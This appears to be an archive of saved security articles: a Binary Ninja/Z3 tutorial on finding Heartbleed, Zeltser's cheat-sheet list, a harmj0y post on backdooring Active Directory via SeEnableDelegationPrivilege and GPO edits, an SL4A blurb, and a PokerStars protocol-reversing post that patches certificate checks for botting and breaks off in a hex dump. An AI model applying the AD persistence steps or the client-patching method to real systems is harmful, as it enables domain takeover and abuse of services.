didn’t have the source for it? One way: build a model of a vulnerability by
representing MLIL variables as a set of constraints and solving them with a
theorem prover\!

## Model binary code as equations with z3

A theorem prover lets us construct a system of equations and:

  1. Verify whether those equations contradict each other.
  2. Find values that make the equations work.

For example, if we have the following equations:

[code]

    x + y = 8
    2x + 3 = 7
    
[/code]

A theorem prover could tell us that a\) a solution does exist for these
equations, meaning that they don’t contradict each other, and b\) a solution
to these equations is `x = 2` and `y = 6`.

For the purposes of this exercise, I’ll be using the Z3 Theorem Prover from
Microsoft Research. Using the z3 Python library, the above example would look
like the following:

[code]

    >>> from z3 import *
    >>> x = Int('x')
    >>> y = Int('y')
    >>> s = Solver()
    >>> s.add(x + y == 8)
    >>> s.add(2*x + 3 == 7)
    >>> s.check()
    sat
    >>> s.model()
    [x = 2, y = 6]
    
[/code]

Z3 tells us that the equations can be satisfied and provides values to solve
them. We can apply this technique to modeling a vulnerability. It turns out
that assembly instructions can be modeled as algebraic statements. Take the
following snippet of assembly:

[code]

      lea eax, [ebx+8]
      cmp eax, 0x20
      jle allocate
      int3
    allocate:
      push eax
      call malloc
      ret
[/code]

When we lift this assembly to Binary Ninja’s LLIL, we get the following graph:

<img src='img/llil_example.png' width='541' height='220' alt='llil_example' />

Figure 1. LLIL makes it easy to identify the signed comparison conditional.

In this code, `eax` takes the value of `ebx` and then adds `8` to it. If this
value is above `0x20`, an interrupt is raised. However, if the value is less
than or equal to `0x20`, the value is passed to `malloc`. We can use LLIL’s
output to model this as a set of equations that should be unsatisfiable if an
integer overflow is not possible \(e.g. there should never be a value of `ebx`
such that `ebx` is larger than `0x20` but `eax` is less than or equal to
`0x20`\), which would look something like this:

[code]

    eax = ebx + 8
    ebx > 0x20
    eax <= 0x20
    
[/code]

What happens if we plug these equations into Z3? Not exactly what we’d hope
for.

[code]

    >>> eax = Int('eax')
    >>> ebx = Int('ebx')
    >>> s = Solver()
    >>> s.add(eax == ebx + 8)
    >>> s.add(ebx > 0x20)
    >>> s.add(eax <= 0x20)
    >>> s.check()
    unsat
    
[/code]

There should be an integer overflow, but our equations were `unsat`. This is
because the `Int` type \(or “sort” in z3 parlance\) represents a number in the
set of _all_ integers, which has a range of -∞ to +∞, and thus an overflow is
not possible. Instead, we must use the `BitVec` sort, to represent each
variable as a vector of 32 bits:

[code]

    >>> eax = BitVec('eax', 32)
    >>> ebx = BitVec('ebx', 32)
    >>> s = Solver()
    >>> s.add(eax == ebx + 8)
    >>> s.add(ebx > 0x20)
    >>> s.add(eax <= 0x20)
    >>> s.check()
    sat
    
[/code]

There’s the result we expected\! With this result, Z3 tells us that it is
possible for `eax` to overflow and call `malloc` with a value that is
unexpected. With a few more lines, we can even see a possible value to satisfy
these equations:

[code]

    >>> s.model()
    [ebx = 2147483640, eax = 2147483648]
    >>> hex(2147483640)
    '0x7ffffff8'
    
[/code]

This works really well for registers, which can be trivially represented as
discrete 32-bit variables. To represent memory accesses, we also need Z3’s
`Array` sort, which can model regions of memory. However, stack variables
reside in memory and are more difficult to model with a constraint solver.
Instead, what if we could treat stack variables the same as registers in our
model? We can easily do that with Binary Ninja’s Medium Level IL.

## Medium Level IL

Just as LLIL abstracts native disassembly, Medium Level IL \(MLIL\) adds
another layer of abstraction on top of LLIL. Whereas LLIL abstracted away
flags and NOP instructions, MLIL abstracts away the stack, presenting both
stack accesses and register accesses as variables. Additionally, during the
process of mapping LLIL to MLIL, memory stores that aren’t referenced later
are identified and eliminated. These processes can be observed in the example
below. Notice how there are no stack accesses \(i.e. `push` or `pop`
instructions\) and `var_8` does not appear in the MLIL at all.

<img src='img/disassembly.png' width='368' height='211' alt='disassembly' />

Figure 2a. An example function in x86.

<img src='img/llil.png' width='368' height='211' alt='LLIL' />

Figure 2b. LLIL of the example function.

<img src='img/mlil.png' width='368' height='211' alt='MLIL' />

Figure 2c. MLIL of the example function.

Another feature you might notice in the MLIL is that variables are typed.
Binary Ninja initially infers these types heuristically, but the user can
override these with manual assignment later. Types are propagated through the
function and also help inform the analysis when determining function
signatures.

### MLIL structure

Structurally, MLIL and LLIL are very similar; both are expression trees and
share many of the same expression types for operations \(for more on the IL’s
tree structure, see my first blog post\). However, there are several stark
differences. Obviously, MLIL does not have analogous operations for
`LLIL_PUSH` and `LLIL_POP`, since the stack has been abstracted. The
`LLIL_REG`, `LLIL_SET_REG`, and other register-based operations are instead
`MLIL_VAR`, `MLIL_SET_VAR`, and similar. On top of this, thanks to typing,
MLIL also has a notion of structures; `MLIL_VAR_FIELD` and `MLIL_STORE_STRUCT`
expressions describe these operations.

<img src='img/mlil_structures.png' width='687' height='595'
alt='MLIL_Structures' />

Figure 3. Types in MLIL can generate some very clean code.

Some operations are common to both LLIL and MLIL, though their operands
differ. The `LLIL_CALL` operation has a single operand: `dest`, the target of
the call. In contrast, the `MLIL_CALL` operation also specifies the `output`
operand that identifies what variables receive a return value and the `params`
operand, which holds a list of MLIL expressions that describe the function
call’s parameters. A user-specific calling convention, or one determined by
automated analysis based on usage of variables interprocedurally, determines
these parameters and return values. This allows Binary Ninja to identify
things like when the `ebx` register is used as a global data pointer in an x86
PIC binary, or when a custom calling convention is used.

Putting all of this together, MLIL comes pretty close to decompiled code. This
also makes MLIL ideal for translating to Z3, due to its abstraction of both
registers and stack variables, using Binary Ninja’s API.

### MLIL and the API

Working with MLIL in the Binary Ninja API is similar to working with LLIL,
though there are some notable differences. Like LLIL, a function’s MLIL can be
accessed directly via the `medium_level_il` property of the `Function` class,
but there is no corresponding MLIL method to `get_low_level_il_at`. In order
to directly access a specific instruction’s MLIL, a user must first query for
the LLIL. The `LowLevelILInstruction` class now has a `medium_level_il`
property that retrieves its `MediumLevelILInstruction` form. As a single line
of Python, this would look like
`current_function.get_low_level_il_at(address).medium_level_il`. It is
important to remember that this can sometimes be `None`, as an LLIL
instruction can be optimized away completely in MLIL.

The `MediumLevelILInstruction` class introduces new convenience properties
that aren’t available in the `LowLevelILInstruction` class. The `vars_read`
and `vars_written` properties make it simple to query an instruction for a
list of variables the instruction uses without parsing the operands. If we
revisit an old instruction from my first blog post, `lea eax, [edx+ecx*4]`,
the equivalent MLIL instruction would look similar to the LLIL. In fact, it
_appears_ to be identical at first glance.

[code]

    >>> current_function.medium_level_il[0]
    <il: eax = ecx + (edx << 2)>
[/code]

But, if we look closer, we can see the difference:

[code]

    >>> current_function.medium_level_il[0].dest
    <var int32_t* eax>
[/code]

Unlike LLIL, where dest would have been an `ILRegister` object representing
the register `eax`, the `dest` operand here is a typed `Variable` object,
representing a variable named `eax` as an `int32_t` pointer.

There are several other new properties and methods introduced for MLIL as
well. If we wanted to extract the variables read by this expression, this
would be as simple as:

[code]

    >>> current_function.medium_level_il[0].vars_read
    [<var int32_t* ecx>, <var int32_t edx>]
    
[/code]

The `branch_dependence` property returns the conditional branches of basic
blocks that dominate the instruction’s basic block when only the true or false
branch dominates, but not both. This is useful for determining which decisions
an instruction explicitly depends on.

Two properties use the dataflow analysis to calculate the value of an MLIL
expression: `value` can efficiently calculate constant values, and
`possible_values` uses the more computationally-expensive path-sensitive
dataflow analysis to calculate ranges and disjoint sets of values that an
instruction can result in.

<img src='img/possible_values.png' width='580' height='537'
alt='possible_values' />

Figure 5. Path-sensitive dataflow analysis identifies all concrete data values
that can reach a certain instruction.

With these features at our disposal, we can model registers, stack variables,
and memory, but there is one more hangup that we need to solve: variables are
often re-assigned values that are dependent on the previous value of the
assignment. For example, if we are iterating over instructions and come across
something like the following:

[code]

    mov eax, ebx
    lea eax, [ecx+eax*4]
    
[/code]

When creating our equations, how do we model this kind of reassignment? We
can’t just model it as:

[code]

    eax = ebx
    eax = ecx + (eax * 4)
    
[/code]

This can cause all sorts of unsatisfiability, because constraints are purely
expressing mathematical truths about variables in a system of equations and
have no temporal element at all. Since constraint solving has no concept of
time, we need to find some way to bridge this gap, transforming the program to
effectively remove the idea of time. Moreover, we need to be able to
efficiently determine from where the previous value `eax` originates. The
final piece of the puzzle is another feature available via the Binary Ninja
API: SSA Form.

## Single Static Assignment \(SSA\) Form

In concert with Medium Level IL’s release, Binary Ninja also introduced Static
Single Assignment \(SSA\) form for all representations in the BNIL family. SSA
form is a representation of a program in which every variable is defined once
and only once. If the variable is assigned a new value, a new “version” of
that variable is defined instead. A simple example of this would be the
following:

[code]

    a = 1
    b = 2
    a = a + b
    
[/code]

|

[code]

    a1 = 1
    b1 = 2
    a2 = a1 + b1
    
[/code]  
---|---  
The other concept introduced with SSA form is the phi-function \(or Φ\). When
a variable has a value that is dependent on the path the control flow took
through the program, such as an if-statement or loop, a Φ-function represents
all of the possible values that that variable could take. A new version of
that variable is defined as the result of this function. Below is a more
complicated \(and specific\) example, using a Φ-function:

[code]

    def f(a):
        if a > 20:
            a = a * 2
        else:
            a = a + 5
        return a
    
[/code]

|

[code]

    def f(a0):
        if a0 > 20:
            a1 = a0 * 2
        else:
            a2 = a0 + 5
        a3 = Φ(a1, a2)
    return a3
    
[/code]  
---|---  
SSA makes it easy to explicitly track all definitions and uses of a variable
throughout the lifetime of the program, which is exactly what we need to model
variable assignments in Z3.

### SSA form in Binary Ninja

The SSA form of the IL can be viewed within Binary Ninja, but it’s not
available by default. In order to view it, you must first check the “Enable
plugin development debugging mode” box in the preferences. The SSA form, seen
below, isn’t really meant to be consumed visually, as it’s more difficult to
read than a normal IL graph. Instead, it is primarily intended to be used with
the API.

<img src='img/mlil_vs_ssa.png' width='690' height='211' alt='mlil_vs_ssa' />

Figure 6. An MLIL function \(left\) and its corresponding SSA form \(right\).

The SSA form of any of the intermediate languages is accessible in the API
through the `ssa_form` property. This property is present in both function
\(e.g. `LowLevelILFunction` and `MediumLevelILFunction`\) and instruction
\(e.g. `LowLevelILInstruction` and `MediumLevelILInstruction`\) objects. In
this form, operations such as `MLIL_SET_VAR` and `MLIL_VAR` are replaced with
new operations, `MLIL_SET_VAR_SSA` and `MLIL_VAR_SSA`. These operations use
`SSAVariable` operands instead of `Variable` operands. An `SSAVariable` object
is a wrapper of its corresponding `Variable`, but with the added information
of which version of the `Variable` it represents in SSA form. Going back to
our previous re-assignment example, the MLIL SSA form would output the
following:

[code]

    eax#1 = ebx#0
    eax#2 = ecx#0 + (eax#1 << 2)
    
[/code]

This solves the problem of reusing variable identifiers, but there is still
the issue of locating usage and definitions of variables. For this, we can use
`MediumLevelILFunction.get_ssa_var_uses` and
`MediumLevelILFunction.get_ssa_var_definition`, respectively \(these methods
are also members of the `LowLevelILFunction` class\).

Now our bag of tools is complete, let’s dive into actually modeling a real
world vulnerability in Binary Ninja\!

## Example script: Finding Heartbleed

Our approach will be very similar to Andrew’s, as well as the one Coverity
used in their article on the subject. Byte-swapping operations are a pretty
good indicator that the data is coming from the network and is user-
controlled, so we will use Z3 to model `memcpy` operations and determine if
the size parameter is a byte-swapped value.

<img src='img/11754_image8.png' width='690' height='578' alt='image8' />

Figure 7. A backward static slice of the size parameter of the vulnerable
memcpy in tls1\_process\_heartbeat of OpenSSL 1.0.1f, in MLIL

### Step 1: Finding our “sinks”

It would be time-consuming and expensive to perform typical source-to-sink
taint tracking, as demonstrated in the aforementioned articles. Let’s do the
reverse; identify all code references to the `memcpy` function and examine
them.

[code]

        memcpy_refs = [
            (ref.function, ref.address)
            for ref in bv.get_code_refs(bv.symbols['_memcpy'].address)
        ]
    
        dangerous_calls = []
    
        for function, addr in memcpy_refs:
            call_instr = function.get_low_level_il_at(addr).medium_level_il
            if check_memcpy(call_instr.ssa_form):
                dangerous_calls.append((addr, call_instr.address))
    
[/code]

### Step 2: Eliminate sinks that we know aren’t vulnerable

In check\_memcpy, we can quickly eliminate any size parameters that Binary
Ninja’s dataflow can calculate on its own\[2\], using the
`MediumLevelILInstruction.possible_values` property. We’ll model whatever is
left.

[code]

    def check_memcpy(memcpy_call):
        size_param = memcpy_call.params[2]
    
        if size_param.operation != MediumLevelILOperation.MLIL_VAR_SSA:
            return False
    
        possible_sizes = size_param.possible_values
    
        # Dataflow won't combine multiple possible values from
        # shifted bytes, so any value we care about will be
        # undetermined at this point. This might change in the future?
        if possible_sizes.type != RegisterValueType.UndeterminedValue:
            return False
    
        model = ByteSwapModeler(size_param, bv.address_size)
    
        return model.is_byte_swap()
    
[/code]

### Step 3: Track the variables the size depends on

Using the size parameter as a starting point, we use what is called a static
backwards slice to trace backwards through the code and track all of the
variables that the size parameter is dependent on.

[code]

            var_def = self.function.get_ssa_var_definition(self.var.src)
    
            # Visit statements that our variable directly depends on
            self.to_visit.append(var_def)
    
            while self.to_visit:
                idx = self.to_visit.pop()
                if idx is not None:
                    self.visit(self.function[idx])
    
[/code]

The `visit` method takes a `MediumLevelILInstruction` object and dispatches a
different method depending on the value of the instruction’s `operation`
field. Recalling that BNIL is a tree-based language, visitor methods will
recursively call `visit` on an instruction’s operands until it reaches the
terminating nodes of the tree. At that point it will generate a variable or
constant for the Z3 model that will propagate back through the recursive
callers, very similar to the `vtable-navigator` plugin of Part 2.

The visitor for `MLIL_ADD` is fairly simple, recursively generating its
operands before returning the sum of the two:

[code]

        def visit_MLIL_ADD(self, expr):
            left = self.visit(expr.left)
            right = self.visit(expr.right)
    
            if None not in (left, right):
                return left + right
    
[/code]

### Step 4: Identify variables that might be part of a byte swap

`MLIL_VAR_SSA`, the operation that describes an `SSAVariable`, is a
terminating node of an MLIL instruction tree. When we encounter a new SSA
variable, we identify the instruction responsible for the definition of this
variable, and add it to the set of instructions to visit as we slice
backwards. Then, we generate a Z3 variable to represent this `SSAVariable` in
our model. Finally, we query Binary Ninja’s range value analysis to see if
this variable is constrained to being a single byte \(i.e. within the range
`0` – `0xff`, starting at an offset that is a multiple of `8`\). If it is, we
go ahead and constrain this variable to that value range in our model.

[code]

        def visit_MLIL_VAR_SSA(self, expr):
            if expr.src not in self.visited:
                var_def = expr.function.get_ssa_var_definition(expr.src)
                if var_def is not None:
                    self.to_visit.append(var_def)
    
            src = create_BitVec(expr.src, expr.size)
    
            value_range = identify_byte(expr, self.function)
            if value_range is not None:
                self.solver.add(
                    Or(
                        src == 0,
                        And(src = value_range.step)
                    )
                )
    
                self.byte_vars.add(expr.src)
    
            return src
    
[/code]

The parent operation of an MLIL instruction that we visit will generally be
`MLIL_SET_VAR_SSA` or `MLIL_SET_VAR_PHI`. In `visit_MLIL_SET_VAR_SSA`, we can
recursively generate a model for the `src` operand as usual, but the `src`
operand of an `MLIL_SET_VAR_PHI` operation is a `list` of `SSAVariable`
objects, representing each of the parameters of the Φ-function. We add each of
these variables’ definition sites to our set of instructions to visit, then
write an expression for our model that states `dest == src0 || dest == src1 ||
… || dest == srcn`:

[code]

            phi_values = []
    
            for var in expr.src:
                if var not in self.visited:
                    var_def = self.function.get_ssa_var_definition(var)
                    self.to_visit.append(var_def)
    
                src = create_BitVec(var, var.var.type.width)
    
                # ...
    
                phi_values.append(src)
    
            if phi_values:
                phi_expr = reduce(
                    lambda i, j: Or(i, j), [dest == s for s in phi_values]
                )
    
                self.solver.add(phi_expr)
    
[/code]

In both `visit_MLIL_SET_VAR_SSA` and `visit_MLIL_SET_VAR_PHI`, we keep track
of variables that are constrained to a single byte, and which byte they are
constrained to:

[code]

            # If this value can never be larger than a byte,
            # then it must be one of the bytes in our swap.
            # Add it to a list to check later.
            if src is not None and not isinstance(src, (int, long)):
                value_range = identify_byte(expr.src, self.function)
                if value_range is not None:
                    self.solver.add(
                        Or(
                            src == 0,
                            And(src = value_range.step)
                        )
                    )
    
                    self.byte_vars.add(*expr.src.vars_read)
    
                    if self.byte_values.get(
                        (value_range.step, value_range.end)
                    ) is None:
                        self.byte_values[
                            (value_range.step, value_range.end)
                        ] = simplify(Extract(
                                    int(math.floor(math.log(value_range.end, 2))),
                                    int(math.floor(math.log(value_range.step, 2))),
                                    src
                                )
                        )
    
[/code]

And finally, once we’ve visited a variable’s definition instruction, we mark
it as visited so that it won’t be added to `to_visit` again.

### Step 5: Identify constraints on the size parameter

Once we’ve sliced the size parameter and located potential bytes used in our
byte swap, we need to make sure that there aren’t any constraints that would
restrict the value of the size on the path of execution leading to the
`memcpy`. The `branch_dependence` property of the `memcpy`’s
`MediumLevelILInstruction` object identifies mandatory control flow decisions
required to arrive at the instruction, as well as which branch \(true/false\)
must be taken. We examine the variables checked by each branch decision, as
well as the dependencies of those variables. If there is a decision made based
on any of the bytes we determined to be in our swap, we’ll assume this size
parameter is constrained and bail on its analysis.

[code]

            for i, branch in self.var.branch_dependence.iteritems():
                for vr in self.function[i].vars_read:
                    if vr in self.byte_vars:
                        raise ModelIsConstrained()
                    vr_def = self.function.get_ssa_var_definition(vr)
                    if vr_def is None:
                        continue
                    for vr_vr in self.function[vr_def].vars_read:
                        if vr_vr in self.byte_vars:
                            raise ModelIsConstrained
    
[/code]

### Step 6: Solve the model

If the size isn’t constrained and we’ve found that the size parameter relies
on variables that are just bytes, we need to add one final equation to our Z3
Solver. To identify a byte swap, we need to make sure that even though our
size parameter is unconstrained, the size is still explicitly constructed only
from the bytes that we previously identified. Additionally, we also want to
make sure that the reverse of the size parameter is equal to the identified
bytes reversed. If we just added an equation to the model for those
properties, it wouldn’t work, though. Theorem checkers only care if _any_
value satisfies the equations, not _all_ values, so this presents a problem.

We can overcome this problem by negating the final equation. By telling the
theorem solver that we want to ensure that no value satisfies the negation and
looking for an `unsat` result, we can find the size parameters that satisfy
the original \(not negated\) equation for _all_ values. So if our model is
unsatisfiable after we add this equation, then we have found a size parameter
that is a byte swap. This might be a bug\!

[code]

               self.solver.add(
                    Not(
                        And(
                            var == ZeroExt(
                                var.size() - len(ordering)*8,
                                Concat(*ordering)
                            ),
                            reverse_var == ZeroExt(
                                reverse_var.size() - reversed_ordering.size(),
                                reversed_ordering
                            )
                        )
                    )
                )
    
                if self.solver.check() == unsat:
                    return True
    
[/code]

### Step 7: Find bugs

I tested my script on two versions of OpenSSL: first the vulnerable 1.0.1f,
and then 1.0.1g, which fixed the vulnerability. I compiled both versions on
macOS with the command `./Configure darwin-i386-cc` to get a 32-bit x86
version. When the script is run on 1.0.1f, we get the following:

<img src='img/find_heartbleed_old.png' width='682' height='437'
alt='find_heartbleed_old' />

Figure 8. find\_heartbleed.py successfully identifies both vulnerable
Heartbleed functions in 1.0.1f.

If we then run the script on the patched version, 1.0.1g:

<img src='img/find_heartbleed_new.png' width='682' height='437'
alt='find_heartbleed_new' />

Figure 9. The vulnerable functions are no longer identified in the patched
1.0.1g\!

As we can see, the patched version that removes the Heartbleed vulnerability
is no longer flagged by our model\!

## Conclusion

I’ve now covered how the Heartbleed flaw led to a major information leak bug
in OpenSSL, and how Binary Ninja’s Medium Level IL and SSA form translates
seamlessly to a constraint solver like Z3. Putting it all together, I
demonstrated how a vulnerability such as Heartbleed can be accurately modeled
in a binary. You can find the script in its entirety here.

Of course, a static model such as this can only go so far. For more
complicated program modeling, such as interprocedural analysis and loops,
explore constraint solving with a symbolic execution engine such as our open
source tool Manticore.

Now that you know how to leverage the IL for vulnerability analysis, hop into
the Binary Ninja Slack and share with the community your own tools, and if
you’re interested in learning even more about the BNIL, SSA form, and other
good stuff.

Finally, don’t miss the Binary Ninja workshop at Infiltrate 2018. I’ll be
hanging around with the Vector 35 team and helping answer questions\!

\[1\] After Part 2, Jordan told me that Rusty remarked, “Josh could really use
SSA form.” Since SSA form is now available, I’ve added a refactored and more
concise version of the article’s script here\!  
\[2\] This is currently only true because Binary Ninja’s dataflow does not
calculate the union of disparate value ranges, such as using bitwise-or to
concatenate two bytes as happens in a byte swap. I believe this is a design
tradeoff for speed. If Vector 35 ever implements a full algebraic solver, this
could change, and a new heuristic would be necessary.

  

# Lenny Zeltser - IT Security Cheat Sheets

**Created:**| _5/9/2009 10:54:11 AM_  
---|---  
**Updated:**| _5/9/2009 10:54:30 AM_  
**Author:**| __  
**Tags:**| _cheat sheets_  
  

# IT Security Cheat Sheet Sheets

As much as we try to be proactive about information security, we get
distracted, or procrastinate. As a result, we often have to react without
significant preparation. I created these cheat sheets to assist IT and
security professionals in difficult situations.

## Security Incident Survey Cheat Sheet for Server Administrators

This cheat sheet captures tips for examining a suspect server to decide
whether to escalate for formal incident response.

<img src='img/Temp2_4877.png' />

## Initial Security Incident Questionnaire for Responders

This cheat sheet lists the questions the incident handler should consider
asking when taking control of a qualified incident.

<img src='img/Temp2_4880.png' />

## Network DDoS Incident Response Cheat Sheet

This cheat sheet captures advice for battling a network DDoS attack on your
infrastructure.

<img src='img/Temp2_4879.png' />

## Reverse-Engineering Cheat Sheet

This cheat sheet presents shortcuts and tips for analyzing malicious software.

<img src='img/Temp2_4878.png' />

## Information Security Assessment RFP Cheat Sheet

This cheat sheet offers tips for planning, issuing and reviewing RFPs for
information security assessments.

<img src='img/Temp2_4881.png' />

## How to Suck at Information Security

This cheat sheet presents common information security mistakes, so you can
avoid making them.

<img src='img/Temp2_4882.png' />

  

**About the Author:** Lenny Zeltser leads the security consulting practice at
Savvis. His team provides security assessments, design, and operational
assistance for business-critical IT infrastructure. Lenny also teaches malware
analysis at SANS Institute, explores security topics at conferences and in
articles, and volunteers as an incident handler at the Internet Storm Center.

# The Most Dangerous User Right You \(Probably\) Have Never Heard Of

**Created:**| _1/17/2017 1:26:41 PM_  
---|---  
**Updated:**| _1/17/2017 1:26:41 PM_  
**Author:**| __  
**Tags:**| _bookmark windows security_  
  

  

# Post navigation

← S4U2Pwnage

# The Most Dangerous User Right You \(Probably\) Have Never Heard Of

January 10, 2017 by harmj0y

I find Windows user rights pretty interesting. Separate from machine/domain
object DACLs, user rights govern things like “ _b y what method can specific
users log into a particular system_” and are managed under User Rights
Assignment in Group Policy. Sidenote: I recently integrated privilege
enumeration into PowerUp in the **G et-ProcessTokenPrivilege** function, with
**- Special** returning ‘privileged’ privileges.

## SeEnableDelegationPrivilege

One user right I overlooked, until Ben Campbell’s post on constrained
delegation, was SeEnableDelegationPrivilege. This right governs whether a user
account can “Enable computer and user accounts to be trusted for delegation.”
Part of the reason I overlooked it is stated right in the documentation: “ _T
here is no reason to assign this user right to anyone on member servers and
workstations that belong to a domain because it has no meaning in those
contexts; it is only relevant on domain controllers and stand-alone
computers._” So this right applies to the domain, not the local domain-joined
machine.

Ben explained how **S eEnableDelegationPrivilege** factors into constrained
delegation. This was a missing piece of the whole puzzle for me. We both first
thought that this right _o nly_ governed the modification of the
TRUSTED\_FOR\_DELEGATION and TRUSTED\_TO\_AUTHENTICATE\_FOR\_DELEGATION
flags\- this would have opened up a nifty attack that Ben outlined.
Unfortunately for us attackers, it appears that this right also controls the
modification of the msDS-AllowedToDelegateTo property, which contains the
targets for constrained delegation. If this is unclear, check out the post
from last week for more background on constrained delegation.

**T L;DR** we can’t modify delegation specific user account control settings
NOR the **m sDS-AllowedToDelegateTo** field for targets \(even if we have full
control of the object\) if we don’t have the **S eEnableDelegationPrivilege**
right:

<img src='img/Temp2_8221.png' width='640' height='465' />

Now the question is: how can we determine which users have this right in the
domain? Since **S eEnableDelegationPrivilege** is applicable _o nly_ on a
domain controller itself, we need to check if any group policy object applied
to a domain controller modifies the user right assignments for that given DC.
In most cases, this will be the “Default Domain Controllers Policy” \(GUID =
**\{ 6AC1786C-016F-11D2-945F-00C04FB984F9\}**\). This is exactly what the **G
et-DomainPolicy -Source DC** PowerView function will do:

<img src='img/Temp2_8218.png' width='640' height='480' />

So by default only members of BUILTIN\Administrators \(i.e. Domain
Admins/Enterprise Admins/etc.\) have the right to modify these delegation
settings. But what happens if we can edit this GPO, or any other GPO applied
to the domain controller?

## Why Care

There are a million ways to backdoor Active Directory given sufficient rights
\(make that a million and one : \). Sean Metcalf calls these “Sneaky Active
Directory Persistence Tricks“. Some of these involve ACL backdoors, something
I’ve covered some in the past. Other approaches might require maliciously
editing GPOs. Still others could involve editing user objects. The **S
eEnableDelegationPrivilege** approach is a bit of everything above.

**T L;DR:** if we control an object that has **S eEnableDelegationPrivilege**
in the domain, AND said object has GenericAll/GenericWrite rights over _a ny_
other user object in the domain, we can compromise the domain at will,
indefinitely.

Given elevated domain rights OR edit rights to the default domain controller
GPO \(something @\_wald0, @cptjesus, and I are currently working on for
BloodHound\) for just a few minutes, you can make a single modification to the
given GPO to implement this backdoor. This GPO is located at **\
\DOMAIN\sysvol\testlab.local\Policies\\{6AC1786C-016F-11D2-945F-00C04fB984F9\}\MACHINE\Microsoft\Windows
NT\SecEdit\GptTmpl.inf**. By adding any user SID or username to the **S
eEnableDelegationPrivilege** line of the **\[ Privilege Rights\]** section,
the setting will take hold whenever the user/machine’s current DC reboots or
refreshes its group policy:

<img src='img/Temp2_8217.png' width='640' height='410' />

If **e viluser** has full rights over ANY user in the domain, we can modify
that user’s **m sDS-AllowedToDelegateTo** value to be whatever target service
we want to compromise. We can also modify the
TRUSTED\_TO\_AUTHENTICATE\_FOR\_DELEGATION UAC flag if needed. In this case,
let’s use ldap/DOMAIN\_CONTROLLER to facilitate DCSyncing at will:

<img src='img/Temp2_8219.png' width='640' height='389' />

<img src='img/Temp2_8220.png' width='761' height='806' />

If **e viluser** has GenericAll over any target **v ictim**, then we don’t
even have to know the victim user’s password. We can execute a force password
reset using **S et-DomainUserPassword** to a known value and then execute the
asktgt.exe/s4u.exe attack flow.

Obviously, from the defensive side, take note of what users have the **S
eEnableDelegationPrivilege** privilege on your domain controllers, through
PowerView or other means. This right effectively gives those users complete
control of the domain, making a great ‘subtle’, but easy to detect \(if you
know what you’re looking for\) AD backdoor. There are obviously ways you could
subvert this given SYSTEM access on a domain controller, and I will detail
methods to detect specific DACL modification in the coming weeks, but auditing
these applied GPOs is a great start.

This entry was posted in ActiveDirectory and tagged delegation, powerview.
Bookmark the permalink.

# Post navigation

← S4U2Pwnage

### Leave a Reply

Your email address will not be published. Required fields are marked \*

Comment

Name \*

Email \*

Website

Notify me of follow-up comments by email.

Notify me of new posts by email.

  

# android-scripting - Project Hosting on Google Code

**Created:**| _1/13/2011 3:30:33 PM_  
---|---  
**Updated:**| _1/13/2011 3:30:41 PM_  
**Author:**| __  
**Tags:**| _scripting android_  
  

Scripting Layer for Android \(SL4A\) brings scripting languages to Android by
allowing you to edit and execute scripts and interactive interpreters directly
on the Android device. These scripts have access to many of the APIs available
to full-fledged Android applications, but with a greatly simplified interface
that makes it easy to get things done.

Scripts can be run interactively in a terminal, in the background, or via
Locale. Python, Perl, JRuby, Lua, BeanShell, JavaScript, Tcl, and shell are
currently supported, and we're planning to add more. See the SL4A Video Help
playlist on YouTube for various demonstrations of SL4A's features.

SL4A is designed for developers and is _alpha_ quality software. Please report
bugs and feature requests on the issues list. You can download the current APK
by scanning or clicking the following barcode:

# Reversing The Pokerstars Protocol, Part 1: Compression and transport basics
- I, Hacker

**Created:**| _8/21/2009 10:29:57 AM_  
---|---  
**Updated:**| _8/21/2009 10:30:07 AM_  
**Author:**| __  
**Tags:**| _reversing_  
  

## Reversing The Pokerstars Protocol, Part 1: Compression and transport basics

Let me start with a little background. I got into poker botting after  
reading James Devlin's great series on Coding The Wheel. I tried a  
few different attempts at the IO layer \(hooking the poker client  
directly, screenscraping \(wrote a cool little library\), etc\) before  
settling on hacking the protocol directly. However, I also started  
getting into actually playing poker heavily, and I realized a little  
while ago that there's no way this bot will be profitable \(including  
my time\) unless I throw years of work at it, so I've decided to  
release my knowledge publicly. I've not seen anyone reversing the  
PStars \(or any other service, in fact\) protocol publicly, so I'm  
hoping to help out there.

The likelihood of things staying the same after this is released is  
very slim, so for reference my work is being done on the latest client  
as of today, 8/19/09, version 3.1.5.8. All code is available on the  
Github repo, and I'll be doing code releases to correspond with the parts  
of this guide. This stuff will only work on Windows with Python 2.6+.

First things first, we have to go into this with a game plan. We need  
to end up with a client, but what's the best way to get there, since  
we need to be able to adapt quickly to changes? I cut my teeth on  
server emulators for MMOs, and I've found that building a server can  
allow you to find changes quickly. However, we also need to be able  
to see traffic, so we need a way of sniffing and displaying traffic.  
Therefore, I think the best route is to build the following: an MITM  
proxy with a web interface for viewing packets, a server emulator, and  
a client library.

Now that we have a plan, we can to dive right in. I made the  
assumption that everything was done over SSL, and quickly confirmed  
this with Wireshark. There's a lot of traffic and it indeed uses SSL.

I decided to implement everything for Python 2.6, to take advantage of  
the  _ssl_ library. With this, I built a simple MITM to display  
traffic both ways. But here's the first snag: the PokerStars client  
checks the server's certificate. However, this was an easy fix. I  
generated a keypair for the MITM \(can also be used for the server  
emulator\) and found that they stored the normal server cert in  
plaintext in the client binary. A quick patch script later and the  
MITM works like a charm, dumping raw data. A quick look over, and it  
became clear that there's a static initialization field \(42 bytes\) at  
the beginning of both the server and client transmissions, and then  
packets sent with a 16-bit \(big endian\) size in front of them.

Time to start looking at the client to figure out what it is.  
Breaking out my handy dandy IDA Pro and loading PokerStars into it, I  
started searching through the strings list for compression- and  
crypto-related strings. I stumbled upon a few interesting strings,  
the clearest of which was: "\_CommCompressedCommunicator: LZHL frame is  
too long". Googling around a bit, I found that LZHL is a lightweight  
compression algorithm intended for high-performance network  
situations.

Next stumbling block: the original implementation of LZHL has fallen  
off the Internet, and the only remaining implementation I can find is  
buried in a big, unmaintained library. Cue 2 days of attempting to  
reimplement the algorithm in Python with no actual verification that  
it is the only thing in play. For those of you playing the home game,  
this is a **Bad Idea**. After a day of debugging, I gave up and  
simply beat the C++ code into submission, utilizing the ctypes library  
in Python to wrap it into a usable form.

Tying this into the MITM, I can now see the decompressed frames coming  
across the wire, complete with nice clean plaintext. However, there  
is a clear header on the packets, so that has to be reversed next.

Here are some choice packets from the beginning of a connection:  

[code]

       
    -> 106 bytes:   
    0000 00 6a c1 06 00 00 38 33 60 10 02 69 70 3a 36 36| .j....83 `..ip:66   
    0010 2e 32 31 32 2e 32 32 35 2e 31 37 3a 32 36 30 30| .212.225 .17:2600   
